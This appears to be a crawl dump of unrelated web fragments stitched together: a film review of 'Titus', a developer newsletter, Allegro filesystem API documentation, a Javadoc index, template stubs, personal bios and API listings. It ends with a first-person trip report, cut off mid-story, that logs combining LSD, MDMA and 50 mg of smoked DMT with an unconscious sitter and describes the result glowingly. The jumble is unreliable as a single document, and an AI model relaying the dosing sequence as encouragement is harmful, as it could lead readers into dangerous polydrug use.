review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


{% extends "base.html" %} {% block content %}
For each video of a dataset what other part do you want ?
Here you will choose which set would you want for :


{% extends "defcdb/base.html" %} {% block content %}
To syncronize the application's bibliographic-database with the DEFC-Zotero bibliography, please hit the subtle button below. Be aware that due to reduction of traffic, only the last ten in Zotero modified items will be synced.
Synchronize


Tech Breakfast
|
|
|
SSW Tech Breakfast
The Top 15 tips for Real World Windows Forms Applications
|
|
|
Get techniques for better searching, data validation, configuration management,
error trapping, code standardization, plugging in cool 3rd Party controls and
many other routine capabilities of data applications, with minimal code. See
the end result: a set of tools and techniques will super charge your next app.
|
|
Friday 30th July.
8:00am - 11:00am at SSW
- Register
online now
- More
Info
|
|
SSW Tech Breakfast
Asynchronous Execution in Windows Forms: Today & Tomorrow - presented by Brian
A. Randell
|
|
|
Its 2004 and the days of the blocking UI are over. What do you think you're
using, VB3? In this talk, Brian will show you how to execute long-running tasks
(database queries, web services calls, etc.) on a secondary thread.  Hell cover how
to do it in .NET 1.1 and show you some enhancements in .NET 2.0.
|
|
Monday 9th August.
8:00am - 11:00am at SSW
Register
online now
|
|
Resources
|
Lumigent Log Explorer
www.ssw.com.au/ssw/LogExplorer
|
Access Unlimited
by Garry Robinson
http://www.vb123.com
|
Tips
|
|
Why does my .NET Winforms
Application take up whopping amounts of memory, even after a GC.Collect?
- Dave Klein
How should I approach bug
tracking for my applications? - Adam Cogan
|
|
|
The Cutting Edge
|
|
| G'day Developers! |
Along time ago BF Skinner, a psychologist, proved through experiments that an
animal rewarded for good behaviour will learn much more rapidly and retain what
it learns far more effectively than an animal punished for bad behaviour (Fundamental
Techniques in Handling People, Brian Elfstrom). If you criticize your
staff:
-
You dont make lasting changes
-
They will resent you, resulting in lower productivity and employee morale
More
on Rules to Better Teams
|
|
Cheers until next time,
Adam
SSW Chief Architect and Microsoft Regional Director, Australia
Got a comment for Adam? Email
Adam
|
|
Sydney .NET User Group - The best place to learn .NET for
free in Sydney
|
|
|
Sydney
.NET User Group 21st July, 2004
|
Developing a web site...the quick way!
Adam will compare IBuySpy Portal vs DotNetNuke, then he will take a deeper
look into the new DotNetNuke 2.0, which now offers a mature portal framework
that helps increase everyday organizational efficiency.
DotNetNuke is an open source reference application for everyone from the
aspiring webmaster to the experienced ASP.NET developer. Adam discusses:
The history of the Project
Multiple Database Support
Portal Features
Portal Architecture
Skinning (via a two-tiered presentation model)
Module Development
Run-time extensibility
|
Wednesday 21st July. 6:00 pm at Microsoft, 1 Epping Road North Ryde
See You
There!! |
Sorry I can't make it
|
|
SSW
Email Merge PRO!
|
|
|
SSW Email Merge PRO! makes sending bulk email a breeze. Especially useful for
periodical email newsletters, it provides real time tracking information and
reports on bounced emails, enabling you to keep your subscribers list clean and
up-to-date.
More
|
|
SSW Software Audit
|
|
|
|
Companies from across the globe have been taking advantage of SSW's Software
Audit Services. The common message that is received from clients is that
getting their software built in-house can sometimes lead to a failure to
identify design flaws and architectural insufficiencies. They need an unbiased
second opinion from a knowledgeable source that can make recommendations to
improve the quality of their software.
More on SSW software audits
|
Advertisement - Two Pilots TM
|
|
|
|
Open any document (including PDF, DOC, XLS, HTML and much more!) in your
application using our virtual printer technology. Custom configuration of
virtual printer driver to satisfy any of your needs.
www.colorpilot.com
|
|


Search results for items:
No search results for items
Search results for warehouse:
No search results for warehouse


filmcritic.com presents a review from staff member Max Messier. You can find the review with full credits at http://www.filmcritic.com/misc/emporium.nsf/2a460f93626cd4678625624c007f2b46/bc546966d8a331478825686a0027acb4?OpenDocument
Titus A film review by Max Messier Copyright 1999 Christopher Null www.filmcritic.com
Titus Andronicus: One mean bastard.
Okay... I'm kinda lost.   The hard part of trying to bring Shakespeare to life through either film or stage production is trying to cut through all of the pompous attitude of the director and making an understandable, comprehensible piece of narrative.
The pompous attitude of this version of Titus, not to be confused with the 1998 Germany TV movie `Titus und der Fluch der Diamanten', is what drags this film along like a squirrel caught in the wheel well of a semi driving cross country. When I watch a film, I want to watch a film, not a play. When I watch a play, vice versa. When Titus explodes across the screen in the first five minutes, I was intrigued by the imagery of a child making a mess of things with G.I. Joes and every condiment in the fridge -- and then the whole world exploding outside his window. Then as I settled in and began to take account of the situation during the next twenty minutes of the film, my inner child screamed for mercy. I was mentally beaten by the `imagery' and the ridiculousness of how dramatic a person can be just by standing up and walking a few steps and then sitting down again. Where is Kenneth Branagh when we need him?
For the next 2 1/2 hours of sheer torment, I was witness to a parade of the absurd. Jessica Lange in an orgy, Hopkins naked in a bathtub makin' drawings of his bum with the blood of his severed stump for a hand, cannibalism, a drag queen for an emperor, a frame-up job that pales next to the works of Mamet, and (yes) a human mincemeat pie. I think the spookiest thing I witnessed was a strange Blair Witch Project reference with a chick whose tongue was cut out, like Josh the camera guy, and her hands cut off and replaced by twigs. Somebody better make a call to Artisan and report this travesty.
The root of all of these errors falls on the heads of the production crew that steered this oil tanker of a film onto the rocky cliffs of Schumacher-land. The clash of costume design that resulted in a strange mix of both Mad Max and Flash Gordon outfits. The flamboyant, over-done MTV montages of dreaming and non-dreaming states of consciousness. The inclusion of Jessica Lange in a Roman orgy: Run away -- run away! The dead weight of subplots that needed a good dose of Walter Murch editing.
So why did I award this film with two stars instead of one? Two reasons: Human mincemeat pie and one great orgy.
RATING: **
|------------------------------| \ ***** Perfection \ \ **** Good, memorable film \ \ *** Average, hits and misses \ \ ** Sub-par on many levels \ \ * Unquestionably awful \ |------------------------------|
MPAA Rating: R
Director: Julie Taymor Producer: Conchita Airoldi, Paul Allen Writer: Julie Taymor Starring: Anthony Hopkins, Jessica Lange, Alan Cumming
-- Christopher Null -<EMAIL_ADDRESS>- http://www.filmcritic.com
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


File system routines
These functions are declared in the main Allegro header file:
#include <allegro5/allegro.h>
These functions allow access to the filesystem. This can either be the real filesystem like your harddrive, or a virtual filesystem like a .zip archive (or whatever else you or an addon makes it do).
ALLEGRO_FS_ENTRY
typedef struct ALLEGRO_FS_ENTRY ALLEGRO_FS_ENTRY;
Opaque filesystem entry object. Represents a file or a directory (check with al_get_fs_entry_mode). There are no user accessible member variables.
Examples:
ALLEGRO_FILE_MODE
typedef enum ALLEGRO_FILE_MODE
Filesystem modes/types
- ALLEGRO_FILEMODE_READ - Readable
- ALLEGRO_FILEMODE_WRITE - Writable
- ALLEGRO_FILEMODE_EXECUTE - Executable
- ALLEGRO_FILEMODE_HIDDEN - Hidden
- ALLEGRO_FILEMODE_ISFILE - Regular file
- ALLEGRO_FILEMODE_ISDIR - Directory
al_create_fs_entry
const char *path) ALLEGRO_FS_ENTRY *al_create_fs_entry(
Creates an ALLEGRO_FS_ENTRY object pointing to path on the filesystem. ‘path’ can be a file or a directory and must not be NULL.
Examples:
al_destroy_fs_entry
void al_destroy_fs_entry(ALLEGRO_FS_ENTRY *fh)
Destroys a fs entry handle. The file or directory represented by it is not destroyed. If the entry was opened, it is closed before being destroyed.
Does nothing if passed NULL.
Examples:
al_get_fs_entry_name
const char *al_get_fs_entry_name(ALLEGRO_FS_ENTRY *e)
Returns the entry’s filename path. Note that the filesystem encoding may not be known and the conversion to UTF-8 could in very rare cases cause this to return an invalid path. Therefore it’s always safest to access the file over its ALLEGRO_FS_ENTRY and not the path.
On success returns a read only string which you must not modify or destroy. Returns NULL on failure.
Note: prior to 5.1.5 it was written: “… the path will not be an absolute path if the entry wasn’t created from an absolute path”. This is no longer true.
Examples:
al_update_fs_entry
bool al_update_fs_entry(ALLEGRO_FS_ENTRY *e)
Updates file status information for a filesystem entry. File status information is automatically updated when the entry is created, however you may update it again with this function, e.g. in case it changed.
Returns true on success, false on failure. Fills in errno to indicate the error.
See also: al_get_errno, al_get_fs_entry_atime, al_get_fs_entry_ctime, al_get_fs_entry_mode
al_get_fs_entry_mode
uint32_t al_get_fs_entry_mode(ALLEGRO_FS_ENTRY *e)
Returns the entry’s mode flags, i.e. permissions and whether the entry refers to a file or directory.
See also: al_get_errno, ALLEGRO_FILE_MODE
Examples:
al_get_fs_entry_atime
time_t al_get_fs_entry_atime(ALLEGRO_FS_ENTRY *e)
Returns the time in seconds since the epoch since the entry was last accessed.
Warning: some filesystems either don’t support this flag, or people turn it off to increase performance. It may not be valid in all circumstances.
See also: al_get_fs_entry_ctime, al_get_fs_entry_mtime, al_update_fs_entry
Examples:
al_get_fs_entry_ctime
time_t al_get_fs_entry_ctime(ALLEGRO_FS_ENTRY *e)
Returns the time in seconds since the epoch this entry was created on the filesystem.
See also: al_get_fs_entry_atime, al_get_fs_entry_mtime, al_update_fs_entry
Examples:
al_get_fs_entry_mtime
time_t al_get_fs_entry_mtime(ALLEGRO_FS_ENTRY *e)
Returns the time in seconds since the epoch since the entry was last modified.
See also: al_get_fs_entry_atime, al_get_fs_entry_ctime, al_update_fs_entry
Examples:
al_get_fs_entry_size
off_t al_get_fs_entry_size(ALLEGRO_FS_ENTRY *e)
Returns the size, in bytes, of the given entry. May not return anything sensible for a directory entry.
See also: al_update_fs_entry
Examples:
al_fs_entry_exists
bool al_fs_entry_exists(ALLEGRO_FS_ENTRY *e)
Check if the given entry exists on in the filesystem. Returns true if it does exist or false if it doesn’t exist, or an error occurred. Error is indicated in Allegro’s errno.
See also: al_filename_exists
al_remove_fs_entry
bool al_remove_fs_entry(ALLEGRO_FS_ENTRY *e)
Delete this filesystem entry from the filesystem. Only files and empty directories may be deleted.
Returns true on success, and false on failure, error is indicated in Allegro’s errno.
See also: al_filename_exists
al_filename_exists
bool al_filename_exists(const char *path)
Check if the path exists on the filesystem, without creating an ALLEGRO_FS_ENTRY object explicitly.
See also: al_fs_entry_exists
al_remove_filename
bool al_remove_filename(const char *path)
Delete the given path from the filesystem, which may be a file or an empty directory. This is the same as al_remove_fs_entry, except it expects the path as a string.
Returns true on success, and false on failure. Allegro’s errno is filled in to indicate the error.
See also: al_remove_fs_entry
Examples:
Directory functions
al_open_directory
bool al_open_directory(ALLEGRO_FS_ENTRY *e)
Opens a directory entry object. You must call this before using al_read_directory on an entry and you must call al_close_directory when you no longer need it.
Returns true on success.
See also: al_read_directory, al_close_directory
Examples:
al_read_directory
ALLEGRO_FS_ENTRY *al_read_directory(ALLEGRO_FS_ENTRY *e)
Reads the next directory item and returns a filesystem entry for it.
Returns NULL if there are no more entries or if an error occurs. Call al_destroy_fs_entry on the returned entry when you are done with it.
This function will ignore any files or directories named .
or ..
which may exist on certain platforms and may signify the current and the parent directory.
See also: al_open_directory, al_close_directory
Examples:
al_close_directory
bool al_close_directory(ALLEGRO_FS_ENTRY *e)
Closes a previously opened directory entry object.
Returns true on success, false on failure and fills in Allegro’s errno to indicate the error.
See also: al_open_directory, al_read_directory
Examples:
al_get_current_directory
char *al_get_current_directory(void)
Returns the path to the current working directory, or NULL on failure. The returned path is dynamically allocated and must be destroyed with al_free.
Allegro’s errno is filled in to indicate the error if there is a failure. This function may not be implemented on some (virtual) filesystems.
See also: al_get_errno, al_free
al_change_directory
bool al_change_directory(const char *path)
Changes the current working directory to ‘path’.
Returns true on success, false on error.
al_make_directory
bool al_make_directory(const char *path)
Creates a new directory on the filesystem. This function also creates any parent directories as needed.
Returns true on success (including if the directory already exists), otherwise returns false on error. Fills in Allegro’s errno to indicate the error.
See also: al_get_errno
al_open_fs_entry
const char *mode) ALLEGRO_FILE *al_open_fs_entry(ALLEGRO_FS_ENTRY *e,
Open an ALLEGRO_FILE handle to a filesystem entry, for the given access mode. This is like calling al_fopen with the name of the filesystem entry, but uses the appropriate file interface, not whatever was set with the latest call to al_set_new_file_interface.
Returns the handle on success, NULL on error.
See also: al_fopen
ALLEGRO_FOR_EACH_FS_ENTRY_RESULT
typedef enum ALLEGRO_FOR_EACH_FS_ENTRY_RESULT {
Return values for the callbacks of al_for_each_fs_entry and for that function itself.
- ALLEGRO_FOR_EACH_FS_ENTRY_ERROR - An error ocurred.
- ALLEGRO_FOR_EACH_FS_ENTRY_OK - Continue normally and recurse into directories.
- ALLEGRO_FOR_EACH_FS_ENTRY_SKIP - Continue but do NOT recusively descend.
- ALLEGRO_FOR_EACH_FS_ENTRY_STOP - Stop iterating and return.
See also: al_for_each_fs_entry
Since: 5.1.9
al_for_each_fs_entry
int al_for_each_fs_entry(ALLEGRO_FS_ENTRY *dir,
int (*callback)(ALLEGRO_FS_ENTRY *dir, void *extra),
void *extra)
This function takes the ALLEGRO_FS_ENTRY dir
, which should represent a directory, and looks for any other file system entries that are in it. This function will then call the callback function callback
once for every filesystem entry in the directory dir
.
The callback callback
must be of type int callback(ALLEGRO_FS_ENTRY * entry, void * extra)
. The callback
will be called with a pointer to an ALLEGRO_FS_ENTRY that matches one file or directory in dir
, and the pointer passed in the extra
parameter to al_for_each_fs_entry.
When callback
returns ALLEGRO_FOR_EACH_FS_ENTRY_STOP
or ALLEGRO_FOR_EACH_FS_ENTRY_ERROR
, iteration will stop immediately and al_for_each_fs_entry will return the value the callback
returned.
When callback
returns ALLEGRO_FOR_EACH_FS_ENTRY_OK
iteration will continue normally, and if the ALLEGRO_FS_ENTRY parameter of callback
is a directory, al_for_each_fs_entry will call itself on that directory. Therefore the function will recusively descend into that directory.
However, when callback
returns ALLEGRO_FOR_EACH_FS_ENTRY_SKIP
iteration will continue, but al_for_each_fs_entry will NOT recurse into the ALLEGRO_FS_ENTRY parameter of callback
even if it is a directory.
This function will skip any files or directories named .
or ..
which may exist on certain platforms and may signify the current and the parent directory. The callback
will not be called for files or directories with such a name.
Returns ALLEGRO_FOR_EACH_FS_ENTRY_OK if successful, or ALLEGRO_FOR_EACH_FS_ENTRY_ERROR if something went wrong in processing the directory. In that case it will use al_set_errno to indicate the type of error which occurred. This function returns ALLEGRO_FOR_EACH_FS_ENTRY_STOP in case iteration was stopped by making callback
return that value. In this case, al_set_errno will not be used.
See also: ALLEGRO_FOR_EACH_FS_ENTRY_RESULT
Since: 5.1.9
Examples:
Alternative filesystem functions
By default, Allegro uses platform specific filesystem functions for things like directory access. However if for example the files of your game are not in the local filesystem but inside some file archive, you can provide your own set of functions (or use an addon which does this for you, for example our physfs addon allows access to the most common archive formats).
ALLEGRO_FS_INTERFACE
typedef struct ALLEGRO_FS_INTERFACE ALLEGRO_FS_INTERFACE;
The available functions you can provide for a filesystem. They are:
ALLEGRO_FS_ENTRY * fs_create_entry (const char *path);
void fs_destroy_entry (ALLEGRO_FS_ENTRY *e);
const char * fs_entry_name (ALLEGRO_FS_ENTRY *e);
bool fs_update_entry (ALLEGRO_FS_ENTRY *e);
uint32_t fs_entry_mode (ALLEGRO_FS_ENTRY *e);
time_t fs_entry_atime (ALLEGRO_FS_ENTRY *e);
time_t fs_entry_mtime (ALLEGRO_FS_ENTRY *e);
time_t fs_entry_ctime (ALLEGRO_FS_ENTRY *e);
off_t fs_entry_size (ALLEGRO_FS_ENTRY *e);
bool fs_entry_exists (ALLEGRO_FS_ENTRY *e);
bool fs_remove_entry (ALLEGRO_FS_ENTRY *e);
bool fs_open_directory (ALLEGRO_FS_ENTRY *e);
ALLEGRO_FS_ENTRY * fs_read_directory (ALLEGRO_FS_ENTRY *e);
bool fs_close_directory(ALLEGRO_FS_ENTRY *e);
bool fs_filename_exists(const char *path);
bool fs_remove_filename(const char *path);
char * fs_get_current_directory(void);
bool fs_change_directory(const char *path);
bool fs_make_directory(const char *path);
ALLEGRO_FILE * fs_open_file(ALLEGRO_FS_ENTRY *e);
al_set_fs_interface
void al_set_fs_interface(const ALLEGRO_FS_INTERFACE *fs_interface)
Set the ALLEGRO_FS_INTERFACE table for the calling thread.
See also: al_set_standard_fs_interface, al_store_state, al_restore_state.
al_set_standard_fs_interface
void al_set_standard_fs_interface(void)
Return the ALLEGRO_FS_INTERFACE table to the default, for the calling thread.
See also: al_set_fs_interface.
al_get_fs_interface
const ALLEGRO_FS_INTERFACE *al_get_fs_interface(void)
Return a pointer to the ALLEGRO_FS_INTERFACE table in effect for the calling thread.
See also: al_store_state, al_restore_state.


A B C D F G H I L M N O P R S T U V W X
All Classes All Packages
All Classes All Packages
All Classes All Packages
G
- getAllCodeUnitsByID(int) - Method in class plcBlockNetworkModel.Network
-
Gets all codeunits by using an ID
- getArea() - Method in class plcCodeUnitModel.CallFBSingle
-
Gets the area of the instance.
- getBlock() - Method in class plcCodeUnitModel.Call
-
Gets the called block.
- getBlock() - Method in class plcProgramModel.Node
-
Gets the called block.
- getBlockByName(String) - Method in class plcProgramModel.PlcProgram
-
Gets a block by name.
- getBlockname() - Method in class plcProgramModel.Node
-
Gets the blockname of the called block.
- getBlocknr() - Method in class plcCodeUnitModel.CallFBSingle
-
Gets the blocknumber of the instance.
- getBlocknumber() - Method in class plcCodeUnitModel.Call
-
Gets the blocknumber of the called code block.
- getBlocks() - Method in class plcProgramModel.PlcProgram
-
Gets the list with blocks.
- getBlocksOrdered() - Method in class plcProgramModel.PlcProgram
-
Gets the blocks ordered.
- getBlocktype() - Method in class plcCodeUnitModel.Call
-
Gets the blocktype of the called code block.
- getCallInfo() - Method in class plcProgramModel.Node
-
Gets the call info of the called block.
- getCallname() - Method in class plcCodeUnitModel.Call
-
Gets the callname of the called code block.
- getCalls() - Method in class plcBlockModel.CodeBlock
-
Gets the calls from the code block.
- getCalls() - Method in class plcBlockNetworkModel.Network
-
Gets the calls of the network.
- getCalls() - Method in class plcProgramModel.Node
-
Gets the list with calls.
- getCallStructure() - Method in class plcProgramModel.PlcProgram
-
Gets the call structure of the PLC program.
- getCardinality() - Method in class plcCodePartModel.PartExtended
-
Gets the cardinality of the template variables
- getCode() - Method in class plcBlockModel.CodeBlock
-
Gets the code.
- getCodeline() - Method in class plcBlockNetworkModel.Network
-
Gets the codelines of the network.
- getCodeUnitByID(int) - Method in class plcBlockNetworkModel.Network
-
Gets the codeunit by using its ID
- getCodeUnitsByClass(Class<?>) - Method in class plcBlockNetworkModel.Network
-
Gets all codeunits by using the type of codeunit
- getConnectedPartsUID() - Method in class plcCodeUnitModel.Wire
-
Gets all connected parts
- getConnectedPartsUID(int) - Method in class plcCodeUnitModel.Wire
-
Gets the connected parts by using an uid
- getConnections() - Method in class plcBlockNetworkModel.Network
-
Gets the connections of the network.
- getConnector(int) - Method in class plcCodeUnitModel.Wire
-
Gets a specific connector from the wire
- getConnectorNameTo(int, int) - Method in class plcBlockNetworkModel.Network
-
Get the name of the connected destination vertex by using the wire
- getConnectors() - Method in class plcCodeUnitModel.Wire
-
Gets the connectors of the wire
- getConstant() - Method in class plcBlockModel.Interface
-
Gets the constant variables.
- getDataType() - Method in class plcCodeUnitModel.Access
-
Gets the datatype of the access
- getDataType() - Method in class plcProgramModel.Variable
-
Gets the data type of the variable.
- getDestination() - Method in class plcBlockNetworkModel.Connection
-
Gets the destination of the variable.
- getDestinationUid() - Method in class plcBlockNetworkModel.Connection
-
Gets the destination uid of the variable.
- getFirstDestinationOfSourceUID(int) - Method in class plcCodeUnitModel.Wire
-
Gets the first destination of the source uid
- getFormula() - Method in class plcCodePartModel.Part
-
Gets the formula of the part
- getId() - Method in class plcCodeUnitModel.CodeUnit
-
Gets the id of the code unit.
- getInOut() - Method in class plcBlockModel.Interface
-
Gets the in out variables.
- getInput() - Method in class plcBlockModel.Interface
-
Gets the input variables.
- getInstance() - Method in class plcCodePartModel.PartInstance
-
Gets the instance of the part
- getInstancelocation() - Method in class plcCodeUnitModel.CallFB
-
Gets the instance location of the FB call.
- getInstancename() - Method in class plcCodeUnitModel.CallFB
-
Gets the instance name of the FB call.
- getInstanceOf() - Method in class plcProgramModel.UserDefinedDataType
-
Gets the instance of variable.
- getInterface() - Method in class plcBlockModel.PlcBlock
-
Gets the interface of the PLC block.
- getName() - Method in class plcBlockModel.PlcBlock
-
Gets the name of the PLC block.
- getName() - Method in class plcCodePartModel.Part
-
Gets the name of the Part.
- getName() - Method in class plcCodeUnitModel.Access
-
Gets the name of the access
- getName() - Method in class plcCodeUnitModel.Wire.Connector
-
Gets the name of the connector
- getName() - Method in class plcProgramModel.Variable
-
Gets the name of the variable.
- getNamedVariable(String) - Method in class plcBlockModel.Interface
-
Gets the named variable by name.
- getNegated() - Method in class plcCodePartModel.PartBasic
-
Gets the value of Negated
- getNegated() - Method in class plcCodePartModel.PartExtended
-
Gets the value of Negated
- getNumber() - Method in class plcBlockModel.PlcBlock
-
Gets the number of the PLC block.
- getNumber() - Method in class plcBlockNetworkModel.Network
-
Get the number of the network
- getNumberOfConnectors() - Method in class plcCodeUnitModel.Wire
-
Gets the number of connectors
- getObs() - Method in class plcProgramModel.Root
-
Gets the OBs.
- getOutput() - Method in class plcBlockModel.Interface
-
Gets the output variables.
- getProgLang() - Method in class plcBlockModel.PlcBlock
-
Gets the programming language of the PLC block.
- getProjectName() - Method in class plcProgramModel.PlcProgram
-
Gets the project name of the PLC program.
- getRoot() - Method in class plcProgramModel.CallStructure
-
Gets the root of the call structure.
- getSource() - Method in class plcBlockNetworkModel.Connection
-
Gets the source of the variable.
- getSourceUid() - Method in class plcBlockNetworkModel.Connection
-
Gets the source uid of the variable.
- getStat() - Method in class plcBlockModel.Interface
-
Gets the static variables.
- getTemp() - Method in class plcBlockModel.Interface
-
Gets the temporary variables.
- getTemplVal1() - Method in class plcCodePartModel.PartExtended
-
Gets templatevariable 1
- getTemplVal2() - Method in class plcCodePartModel.PartExtended
-
Gets templatevariable 2
- getType() - Method in class plcCodeUnitModel.CallFBSingle
-
Gets the type of the instance.
- getType() - Method in class plcCodeUnitModel.Wire.Connector
-
Gets the type of the connector
- getTypedBlocks(Class<?>) - Method in class plcProgramModel.PlcProgram
-
Gets the typed blocks.
- getUid() - Method in class plcCodeUnitModel.Wire.Connector
-
Gets the uid of the connector
- getUid() - Method in class plcProgramModel.Variable
-
Gets the uid of the variable.
- getVariables() - Method in class plcBlockNetworkModel.Network
-
Gets the variables of the network.
- getVariables() - Method in class plcProgramModel.PlcProgram
-
Gets the variables of the PLC program.
- getVersion() - Method in class plcCodePartModel.PartInstance
-
Gets the version of the part
- getXmlFile() - Method in class plcBlockModel.PlcBlock
-
Gets the XML file of the PLC block.
- GlobalDB - Class in plcBlockModel
-
The Class GlobalDB.
- GlobalDB(String, int, String, String, Interface) - Constructor for class plcBlockModel.GlobalDB
-
Instantiates a new global DB.
All Classes All Packages


This is my friend Roman.


About this app
This app is designed to provide doctors and nurses with quick access to the clinical guidelines of the Clinical Services Department of the MRC Unit The Gambia at LSHTM.
It does not need an internet connection.
Users will be notified of updates via departmental email.
For feedback or support, email fakemokwe@mrc.gm


Select your Burger
Here you choose your burger.
{{burger.name}}
{{burger.desc}}
Contains {{burger.kcal}} kCal
- Lactose
- Gluten
Customer Information
Here you provide customer info
Delivery details:
Please click delivery location
{{localOrders.orderId}}


Zeyao Li is a queer coder and artist from China. He was born and raised in Beijing, studied and lived in New York, Prague, Seattle, and Shanghai. Having this multi-cultural background, Zeyao couples the technical skill that he
acquires with observations from his surroundings. His work ranges from Analog Photography to Interactive Installation and Mixed Reality.
Zeyao worked as a production intern at R/GA Shanghai
in 2018. At R/GA, he applied his knowledge to a larger scale’s work, served clients such as Google, Nike, and
Siemens.
Before that, he was a correspondent at PragueCast, an editorial
intern at the i-D magazine, and a musical actor at NYU's Reality Show.
He is currently a senior student majoring in
Interactive Media Arts at NYU Shanghai, and he is expected to graduate in May 2019.
Contact: zeyao.li@nyu.edu


Hi, my name is Dave Bettin. I am currently starting up a new financial data software company in Bend, Oregon.
Read More


A listener represents a listening endpoint for a load balancer. A single load balancer can have multiple listeners.
NOTE: The TERMINATED_HTTPS protocol is only available if the key-manager service is enabled and you have authority to list certificate containers and secrets.


qooxood pointer events
This logger prints the pointer events as they are fired by the qooxdoo event layer.
Tap here (mouse / touch / pen)
(frame)
(innerPointer1)
(innerPointer2)
pointerdown
pointerup
tap
dbltap
longtap
swipe
track
pinch
rotate
pointermove
pointerover
pointerout
enable event capturing for #pointer


YahooUser
YahooUser
( $session, $guid, $sessioned)
-
$session
-
$guid
-
$sessioned
void
addContact
( $contact)
Deletes the update of the given SUID. that were inserted by your own application. delete updates from other applications.
Deletes the update of the given SUID. Only allows deleting updates that were inserted by your own application. You won't be able to delete updates from other applications.
boolean
deleteUpdate
($suid $suid)
-
$suid
$suid: The SUID of the update to be deleted.
Gets a list of connections for the current user.
Gets a list of connections for the current user.
List
getConnections
( &$start, &$count, &$total)
Gets the updates for the connections of the current user.
Gets the updates for the connections of the current user.
A
getConnectionUpdates
([$start $start = 0], [$count $count = 10])
-
$start
$start: The starting offset to list updates from.
-
$count
$count: The number of updates to request.
void
getContact
( $contact_id)
Gets a list of contacts for the current user.
Gets a list of contacts for the current user.
List
getContacts
([$start $start = 0], [$count $count = 10])
-
$start
$start: The starting offset.
-
$count
$count: The number of contacts to fetch.
void
getContactSync
([ $rev = 0])
Gets the presence of the user, including the status.
Gets the presence of the user, including the status.
The
getPresence
()
Loads the extended profile of the current user.
Loads the extended profile of the current user.
The
getProfile
()
Gets the user's status message.
Gets the user's status message.
The
getStatus
()
Gets the updates for the current user.
Gets the updates for the current user.
An
getUpdates
([$start $start = 0], [$count $count = 10])
-
$start
$start: The starting offset to list updates from. (default = 0)
-
$count
$count: The number of updates to request. (default = 10)
void
get_resource
( $resource, [ $parameters = array()])
Inserts an update for the current user.
Inserts an update for the current user.
void
insertUpdate
($suid $suid, $title $title, $link $link, [$description $description = ""], [$date $date = NULL])
-
$suid
$suid: Identifier that globally unique for a given collectionId within producing source.
-
$title
$title: Title for the update.
-
$link
$link: Link back to the cause of the event.
-
$description
$description: Descriptive text associated with the update, optional.
-
$date
$date: The date of the update event, optional, defaults to now.
Gets the updates for the connections of the current user.
Gets the updates for the connections of the current user.
An
listConnectionUpdates
([$start $start = 0], [$count $count = 10])
-
$start
$start: The starting offset to list updates from.
-
$count
$count: The number of updates to request.
Lists the updates for the current user.
Lists the updates for the current user.
A
listUpdates
([$start $start = 0], [$count $count = 10])
-
$start
$start: The starting offset to list updates from. (default = 0)
-
$count
$count: The number of updates to request. (default = 10)
Loads the extended profile of the current user.
Loads the extended profile of the current user.
The
loadProfile
()
Sets the presence of the user.
Sets the presence of the user.
The
setPresence
($status $status)
-
$status
$status: The new status message for the user.
Sets the small view for the current user.
Sets the small view for the current user.
True
setSmallView
($content $content)
-
$content
$content: The content to set the small view to.
Sets the user's status message.
Sets the user's status message.
The
setStatus
($message $message)
-
$message
$message: The new status message for the user.
void
syncContacts
( $contactsync)


My projects
NOTE:
-----
This page is under construction as more material is added.
I like to try new things to expand my knowledge and skillsets. This page
is dedicated to all the projects I've enjoyed putting effort into.
During my senior year of high school, I had a brief stint as a
contributor to The Freelancer, La Serna High School's news platform. If
you're interested in looking at the entire webpage, here is the
link.
Otherwise, this is what I pieced together:
Sometime during the beginning of February 2021, I started working on HTB
boxes with a team:
Another writeup I did:
Yet another writeup:


Develop It! Exercise 1
Open the json_starter.html
file from the class exercises.
- Add an additional video to the JSON, so that you have 4 videos listed.
- When you click on the video, it shows the video player on the side. Make it so that it also shows an h2 with the video title above the iframe.
- Add an "author" property to each video in the JSON and display that next to the title.
- Bonus: Add a "favorite" property to each video which is either true or false, and use that
to decide whether to put a round red border around the video in the list.
User your browser's developer tools to debug!


C°
F°
Find!
Please provide a valid city. The input should be "City Name, Country" or only "City Name".


| DOSE: T+ 0:00 |
2 hits |
oral |
LSD |
(blotter / tab) |
| T+ 0:30 |
2 capsls |
oral |
MDMA |
(powder / crystals) |
| T+ 1:25 |
50 mg |
smoked |
DMT |
(powder / crystals) |
Wow. Well where to start off, this is about 3 days after my experience. All I have to say about every time I think about it is wow.
Anyway it all started when I decided I wanted the Psychedelic experience of a lifetime, and oh man did I get it. Now this is probably not reccomended but I did this with my sitter passed out on the couch at around 4 in the morning (we were watching the history channel). Earlier that day we each took 150mg molly so we both rolled pretty hard and crashed, I decided that I didn't want to go to bed yet and I wanted to experiment with my favorite three mind viewing drugs ^.^
(4:00) LSD ingested.. will wait 30 min before ingesting molly
(4:30) Acid is kicking in a little big I think, take 2 caps of my friend molly and wait for the peak. Normally this experience is amazing without piling on any other drugs but DMT sounded like a very interesting combination tonight.
(5:00) I am deffinatly tripping nuts just waiting for mdma to kick in now, should be any second. I enjoy watching TV but for some reason still pictures entertain me more than moving ones.
(5:20) Ahhh here we go up, uP, UP, UPUPUPUPUP and we have lift off. Candy flipping at its best! Wow what could make this any better, oh I know how about my good friend dimethyltryptamine.
(5:25) Load up 50mg of dmt into lightbulb vaporizor.  Where is the TV, couch and my passed out buddy.. This isn't funny anymore seriously where am I, and then I realize that I am the universe. I see a being that's not really a person but more an aura of light except it isn't light it looks like an object that I would never be able to draw or explain to anyone in this world because I have died and been reborn in the 4th dimension. I have no idea how I deducted that I'm in the 4th dimension other than the fact that basic forces that apply in our 3d world don't apply to the place I was. There was no gravity, there was no electricity, light or verbal communication.
I could feel the presence of this aura but it was more than that, I could communicate with it just by thinking. I tried telling it my name, and it replied by saying that in the 4th dimension, people don't have names, in fact there's no such thing as people, just spirits. Every spirit knows every other spirit by feeling its presense. We started communicated and I shared where I had come from and that I didn't really know where I was or how to get back but this aura being thing seemed to know everything that I had tried explaining to it.
